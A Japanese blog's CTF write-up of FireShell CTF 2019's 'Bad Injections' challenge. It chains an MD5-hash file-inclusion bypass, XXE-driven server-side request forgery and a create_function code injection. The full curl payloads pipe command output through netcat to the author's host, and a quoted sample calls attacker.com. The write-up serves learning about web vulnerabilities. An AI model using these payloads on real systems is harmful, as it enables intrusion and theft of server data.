こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

FireShell CTF 2019 Writeup - Bad Injections

解答者がそこそこ多かったため最低点まで下がってしまったが、段階的に複数の脆弱性を突いて攻略していく問題で、やり応えはあった。
1つ1つの攻撃手法の難易度は高くなく、1問で複数の脆弱性を学べるという点では良問ではないだろうか。

Question

f:id:graneed:20190127203728p:plain

Solution

URLにアクセスすると、Home、About、Contact、Listの4つのタブ。

どうやら作りかけのWebサイトの様子。

Stage1. Local File Inclusion

Listの画面を表示する。

f:id:graneed:20190127205216p:plain

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
    <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
    <script
    src="https://code.jquery.com/jquery-3.1.1.min.js"
    integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
    crossorigin="anonymous"></script>
    <script src="semantic/dist/semantic.min.js"></script>
    <div class="ui tabular menu">
      <a class="item" href='/'>
        Home
      </a>
      <a class="item" href='about-us'>
        About
      </a>
      <a class="item" href='contact-us'>
        Contact
      </a>
      <a class='item active' href="list">
        List
      </a>
    </div>
    <div class='ui center aligned container'>
    <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/><img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="500"/>  </div>
  </body>
</html>

download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354bにアクセスすると以下のファイルをダウンロードできた。
サーバ上に/app/Controllers/Download.phpというファイルがあることがわかる。

<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />

1

fileパラメータにLFIの可能性がありそう。hashパラメータは何だろうか。

/etc/passwdの取得と、hashパラメータの削除を試してみる。

root@kali:~# curl "http://68.183.31.62:94/download?file=../../../etc/passwd&hash=293d05cb2ced82858519bdec71a0354b"
not found!

root@kali:~# curl "http://68.183.31.62:94/download?file=files/test.txt"
jdas

どうやらfilehashが条件を満たしていないと、ファイルをダウンロードできないようだ。

試しにfiles/test.txt文字列のmd5を取ってみる。

root@kali:~# echo -n files/test.txt | md5sum
293d05cb2ced82858519bdec71a0354b  -

ビンゴ。
fileパラメータのmd5hashパラメータにセットすれば、LFIで任意のファイルを取得できる。

毎回、hashを計算するのは面倒なので、簡単なスクリプトを作る。

import sys
import hashlib
import requests

path = sys.argv[1]
m = hashlib.md5()
m.update(path)
h = m.hexdigest()
r = requests.get(
    "http://68.183.31.62:94/download",
    params={
        "file":path,
        "hash":h
    }
)
print(r.text)

test.txtのヒントを元に、/app/Controllers/Download.phpを取得する。

root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Download.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Download extends Controller{
  public static function downloadFile($file,$hash){
    if(file_exists($file) && md5($file) == $hash){
      switch(strtolower(substr(strrchr(basename($file),"."),1))){
         case "pdf": $type="application/pdf"; break;
         case "exe": $type="application/octet-stream"; break;
         case "zip": $type="application/zip"; break;
         case "doc": $type="application/msword"; break;
         case "xls": $type="application/vnd.ms-excel"; break;
         case "ppt": $type="application/vnd.ms-powerpoint"; break;
         case "gif": $type="image/gif"; break;
         case "png": $type="image/png"; break;
         case "jpg": $type="image/jpg"; break;
         case "mp3": $type="audio/mpeg"; break;
         case "php": ; break;
         case "htm":
         case "html":
      }
      header("Content-Type: ".$type);
      header("Content-Length: ".filesize($file));
      header("Content-Disposition: attachment; filename=".basename($file));
      return readfile($file);
    }else{
      echo 'not found!';
    }
  }
}

 ?>
1081

他、得られたソースファイルを手掛かりに、芋づる式にソースファイルを取得する。
全ては載せていないが、合計20近くのファイルがあった。

root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/index.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}
?>
386

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Routes.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});
 ?>
1554

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Custom.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }

}

 ?>
215

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/Controllers/Admin.php
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
<?php

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

 ?>
1296

---------------------------------------------------------------------------------
root@kali:~/Contest/FireShellCTF2019# python lfi.py /app/.htaccess
<br />
<b>Notice</b>:  Undefined variable: type in <b>/app/Controllers/Download.php</b> on line <b>21</b><br />
RewriteEngine On
RewriteRule ^files/ - [L,NC]
RewriteRule ^semantic/ - [L,NC]
RewriteRule ^([^/]+)/? index.php?url=$1 [L,QSA]

127

Stage2. XML External Entity、Server Side Request Forgery

Routes.phpの分岐(以下に抜粋)を見ると、Admin::sortを呼ぶにはサーバのローカルからアクセスしないといけない。
後述のStage3で詳しく記載するが、Admin::sortにRCEの脆弱性がある。

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Routes.phpCustom.phpのコードを確認すると、/customにPOSTリクエストでデータを送ると、送ったデータをそのままsimplexml_load_string関数に渡して実行されることがわかる。

XML External Entityを使用することで、XMLをロードするタイミングでサーバからHTTPリクエストを発行し、Server Side Request Forgeryができる。

www.owasp.org

上記のOWASPのページの一番下のサンプルがわかりやすい。以下に抜粋する。

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

http://www.attacker.com/text.txtの箇所をhttp://127.0.0.1/adminに変更すればよい。

Stage3. Remote Code Execution

http://127.0.0.1/adminを呼んでAdmin::sortを実行する準備が整ったので、セットするパラメータを考える。

Admin::sortの以下の部分にRCEの脆弱性がある。

     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

$orderにhoge||system('任意のコマンド')をセットすれば、任意のコマンドを実行できる。

$order$_REQUEST["order"]から移送されるため、パラメータで自由にセット可能。

ただ、$dataに2件以上のレコードがセットされていないとusortが動かない。
$dataには$_REQUEST["url"]から取得したXMLをパースしてセットするため、自サーバにXMLファイルを作って配備する。

<root>
<channel>
<item><link>aaa</link></item>
<item><link>bbb</link></item>
</channel>
</root>

あとは任意のコマンドを埋めこんだURLを組み立てる。

最初はls|nc myserver portを実行させる。(ReverseShellを実行したかったが、うまくいかなかったので、1コマンドずつ実行。)

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'

自サーバにてncコマンドで構えてから、上記のcurlコマンドを実行する。

root@kali:/# nc -l -p 12345
Controllers
Routes.php
Views
classes
files
index.php
requirements.txt
semantic

うまくいった。 次に親ディレクトリを見るため、ls ..|nc myserver portを実行させる。

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27ls%20..%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345
app
bin
boot
create_mysql_admin_user.sh
da0f72d5d79169971b62a479c34198e7
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
start-apache2.sh
start-mysqld.sh
sys
tmp
usr
var

da0f72d5d79169971b62a479c34198e7という怪しいファイルがある。
cat ../da0f72d5d79169971b62a479c34198e7|nc myserver portを実行させる。

curl "http://68.183.31.62:94/custom" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/admin?rss=http://<myserver>/hoge.xml&order=hoge%7C%7Csystem%28%27cat%20../da0f72d5d79169971b62a479c34198e7%7Cnc%20<myserver>%2012345%27%29" >]><foo>&xxe;</foo>'
root@kali:/# nc -l -p 12345
f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

フラグゲット。